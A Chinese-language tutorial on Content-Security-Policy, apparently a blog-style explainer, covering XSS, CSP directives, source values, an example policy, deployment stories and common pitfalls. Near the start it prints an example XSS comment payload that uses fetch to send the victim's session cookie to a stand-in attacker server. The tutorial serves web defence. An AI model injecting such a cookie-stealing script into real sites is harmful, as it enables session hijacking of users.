一句话概括
内容安全策略 (Content-Security-Policy, CSP) 是一种通过 HTTP header 传递的安全标准,它告诉浏览器哪些内容源(如脚本、图片和样式)是可信的,应该被允许加载,实际上就像一个专门抵挡恶意注入的保安大叔。
它解决了什么问题
在早期那个狂野的西部拓荒时代,Web 安全这事儿有点像事后诸葛亮。当时出现的最棘手的反派之一就是跨站脚本攻击,即 XSS。简而言之,XSS 就是坏人想方设法将他们自己的恶意代码(通常是 JavaScript)注入到一个你信任的网站中。
想象一下,一个带评论区的博客。作为开发者,你小心翼翼地搭建了网站。但你在显示评论的地方漏掉了一个小小的 bug。一个攻击者来了,他没有写“文章不错!”,而是提交了这样一条评论:
<script>
// 偷走已登录用户的会话 cookie
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
现在,每个查看这篇博文的其他用户,他们的浏览器都会执行这段脚本。由于脚本是在你的博客域名上运行的,它能访问所有合法脚本可以访问的东西,比如用户的会话 cookie。攻击者现在可以劫持他们的会话并冒充他们。太可怕了。
多年来,唯一的防御方法是小心翼翼地净化每一份用户输入。这被称为“输入验证和输出编码”,至今仍然至关重要。但要做到 100% 的时间都 100% 正确,也极其困难。一个小小的疏忽,你就可能暴露在风险之下。
CSP 的诞生源于“纵深防御”的需求。这个想法很简单:服务器能不能告诉浏览器,“嘿,我知道我理应是完美的,但万一我搞砸了,放进来一个恶意脚本,我希望你帮我执行一些规则。只执行来自我自己的域名 my-app.com 和 Google Analytics 的脚本。如果你看到任何其他来源的脚本,就把它拦下来,并告诉我一声。”
这就是 CSP。它是第二道防线,直接在用户的浏览器中运作,把浏览器从一个被动的受害者变成一个主动的安全卫士。
底层工作原理
CSP 不是魔法,它只是一个在 HTTP 响应头中传递的文本字符串。两个主要的 header 是:
Content-Security-Policy:强制执行策略。如果某个资源违反了策略,它就会被阻止。Content-Security-Policy-Report-Only:一个“演习”模式。它只报告违规行为,但实际上不阻止任何东西,这对于测试和部署新策略而又不弄坏你的网站来说,简直是天赐之物。
这个 header 的值是一系列指令 (directives),每条指令以分号结尾。一条指令由一个名称和一组允许的来源列表组成。
常用指令
你可以把指令看作是你想控制的内容类别。
| 指令 | 控制... | 作用说明 |
|---|---|---|
default-src |
后备策略 | 当其他 -src 指令未指定时,为它们提供默认的源列表。优先设置这个! |
script-src |
脚本 | JavaScript 来源,包括 script 标签、内联事件处理器 (onclick) 等。这是对抗 XSS 的关键。 |
style-src |
样式表 | CSS 文件、style 标签和内联 style 属性。 |
img-src |
图片 | <img> 标签、网站图标等。 |
connect-src |
连接 | fetch()、XMLHttpRequest、WebSocket 等可以请求的 URL。你的前端能和谁“说话”? |
font-src |
字体 | 通过 @font-face 加载的网络字体。 |
frame-src |
框架 | <iframe> 和 <frame> 元素的来源。 |
report-uri |
报告 | (已弃用但仍常用) 一个 URL,浏览器会将策略违规的 JSON 报告发送到这里。 |
report-to |
报告 | report-uri 的现代替代品,使用 Reporting API。 |
常用源值
对于每条指令,你需要指定允许从哪里加载内容。
| 源值 | 含义 | 示例 |
|---|---|---|
'self' |
同源 | 允许来自与文档相同的域名、协议和端口的内容。 |
'none' |
啥都别想加载 | 阻止该指令对应的所有内容。object-src 'none' 是个非常好的主意。 |
example.com |
特定主机 | 允许来自 example.com 的内容。 |
*.example.com |
带通配符的主机 | 允许来自 example.com 的任何子域名。谨慎使用! |
https: |
协议 | 允许来自任何 HTTPS 源的内容。 |
'unsafe-inline' |
内联代码 | 允许内联 <script> 和 <style> 标签,以及 style 或 onclick 属性。如无必要,请勿使用! |
'unsafe-eval' |
动态代码 | 允许像 eval() 这样的字符串求值函数。巨大的安全风险。 |
'nonce-...' |
一个加密随机数 | 如果内联脚本的 nonce 属性与 header 中的值匹配,则允许该脚本。这是安全使用特定内联脚本的绝佳方式。 |
'sha256-...' |
一个 hash 值 | 如果内联脚本或样式的 SHA256 hash 与 header 中的值匹配,则允许它。 |
整合应用
我们来看一个现代 Web 应用的实际策略:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
我们来逐条解析一下:
default-src 'self': 默认情况下,只允许来自我们自己源的资源。script-src ...: 我们允许来自我们自己源、我们的分析服务提供商的脚本,以及任何带有特定nonce值的内联脚本。服务器会为每个页面加载生成一个新的随机 nonce。style-src 'self' 'unsafe-inline': 我们允许来自我们源的样式表。'unsafe-inline'暗示我们可能有一些遗留代码会注入style属性,这是一个常见(但不理想)的情况。img-src ...: 图片可以来自我们自己的源、作为data:URI,或者来自我们专用的图片 CDN。connect-src ...: 我们的前端 JavaScript 只被允许向我们自己的源和api.my-app.com发起 API 调用。font-src 'none',object-src 'none': 我们不使用自定义字体或像 Flash 这样的插件,所以我们完全阻止它们。frame-ancestors 'none': 这可以防止其他网站将我们的网站放入<iframe>中,从而阻止点击劫持 (clickjacking) 攻击。report-to csp-endpoint: 将违规报告发送到名为csp-endpoint的报告端点(在其他地方配置)。
真实世界的案例
电商网站的支付信息窃贼
一个中型在线商店为了提升客户服务,在他们的网站上添加了一个第三方聊天小部件。他们将该小部件的域名添加到了 script-src 指令中,并自以为安全。但他们不知道的是,这个聊天小部件公司自己被黑了,攻击者修改了小部件的脚本文件。这个新的恶意版本会扒取支付页面上的信用卡号。由于商店的 CSP 信任该来源域名,这个恶意脚本毫无问题地被加载并执行了数周。
教训: 你的 CSP 是一条信任链。当你允许一个第三方域名时,你不仅仅是在信任那家公司,你还在信任他们的安全性、他们的部署流程以及他们所有的依赖项。子资源完整性 (Subresource Integrity, SRI) 是另一个可以帮助缓解这种特定风险的工具。
慢工出细活的部署
一家大型媒体机构想在他们高流量的新闻网站上实施一个严格的 CSP。他们知道,一次性部署可能会弄坏广告、视频和无数其他功能。他们没有直接上线,而是在 Content-Security-Policy-Report-Only 模式下部署了一个策略。在两周的时间里,他们只是收集数据。他们的 report-uri 端点每小时都被成千上万的报告淹没。他们将这些报告汇集到数据库中,并建立了一个仪表盘,显示最常被阻止的资源和它们所在的页面。他们发现了数十个被遗忘的旧版跟踪脚本、广告网络域名和视频播放器的依赖项。他们系统地要么移除了旧资源,要么将合法的资源添加到他们的策略白名单中。经过一个月的优化,他们才切换到强制执行模式。什么都没坏。
教训: 别摸黑上路。让 Report-Only 模式做你的副驾。它让你能根据真实的用户流量建立一个完美的、符合实际的策略,把一个可怕的安全任务变成一个可控的数据分析问题。
浏览器扩展的威胁
一家金融公司的员工使用了一个流行的浏览器扩展,该扩展通过注入自己的 CSS 和 JavaScript 来“美化”网页。在大多数网站上,这都无伤大雅。但当他登录公司内部财务门户时,网站却无法正常工作。他很困惑,打电话给 IT 部门。一位开发者查看了浏览器的控制台,看到一连串的 CSP 违规错误:门户网站正在阻止扩展的脚本和样式被注入。这个门户网站的严格 CSP(只允许来自 'self' 的脚本和样式)正确地将扩展的代码识别为不受信任的外部资源并阻止了它。它防止了一次由一个善意但具有侵入性的扩展可能导致的数据泄露。
教训: 一个强大的 CSP 不仅能保护你的用户免受你自己潜在 bug 的影响,还能抵御来自他们自身浏览器环境的威胁,比如恶意或权限过大的扩展。
常见错误和陷阱
- 依赖
'unsafe-inline'。 这是最常见的陷阱。开发者在处理旧的onclick事件处理器或内联<script>标签时遇到问题,就用'unsafe-inline'作为快速修复方案。这重新为 XSS 攻击打开了一个巨大的缺口。更好的方法是重构代码以使用addEventListener,或者,如果你绝对必须使用内联脚本,请使用 nonce 或 hash 将其明确地加入白名单。 - 忘了
default-src。 如果你只设置了script-src和style-src,你就为其他攻击向量敞开了大门。那<object>标签呢?或者 Web Worker 呢?始终从一个限制性的default-src 'self'或default-src 'none'开始,然后根据需要逐个指令地放开权限。 - 设置了报告却从不查看。 一个指向死胡同的
report-uri是没用的。违规报告是你的预警系统。它们可以提醒你野外出现了新的 XSS 攻击,或者告诉你最近的一次部署为一部分用户弄坏了某个合法功能。你必须有一个流程来接收、聚合和审查这些报告。 - 使用过于宽松的通配符。 使用
script-src https://*.some-cdn.com很诱人,但这可能会让攻击者从https://malicious-user-account.some-cdn.com加载脚本。你的主机名应该尽可能具体。 - 忽略
frame-ancestors。 XSS 吸引了所有人的注意,但点击劫持 (clickjacking) 是另一个实实在在的威胁。攻击者可以在他们自己的恶意网站上用一个透明的<iframe>加载你的网站,并诱骗用户点击你网站上的按钮。frame-ancestors 'none'或frame-ancestors 'self'是一个简单而强大的防御措施,却常常被遗忘。
为什么你应该关注它
如果你符合以下情况,就应该考虑 CSP...
- 构建任何处理用户登录、个人数据或支付信息的 Web 应用。
- 显示任何由用户提交的内容(评论、个人资料、论坛帖子)。
- 集成了多个第三方脚本,如分析、广告、客服小部件或标签管理器。
- 希望为任何非小型 Web 项目建立一个稳健、现代、纵深防御的安全态势。
简而言之,如果你是 21 世纪的 Web 开发者,CSP 就应该是你工具箱里的标配。它不再是那些有被迫害妄想症的人才用的奇特功能,而是前端安全的基础构件。
深入了解
- MDN Web Docs: Content Security Policy (CSP) - 权威、实用的指南和参考资料。
- W3C Content Security Policy Level 3 - 官方规范。内容很密集,但它是真理的唯一来源。
- Google's Web Fundamentals on CSP - 一篇很棒的高阶介绍,附带实用建议。
- report-uri.com - 一个用于收集 CSP 报告的服务,由安全专家 Scott Helme 运营,他的博客也是关于这个主题的绝佳资源。
- OWASP Cheat Sheet: Content Security Policy - 来自开放 Web 应用安全项目 (OWASP) 的、以安全为重点的最佳实践。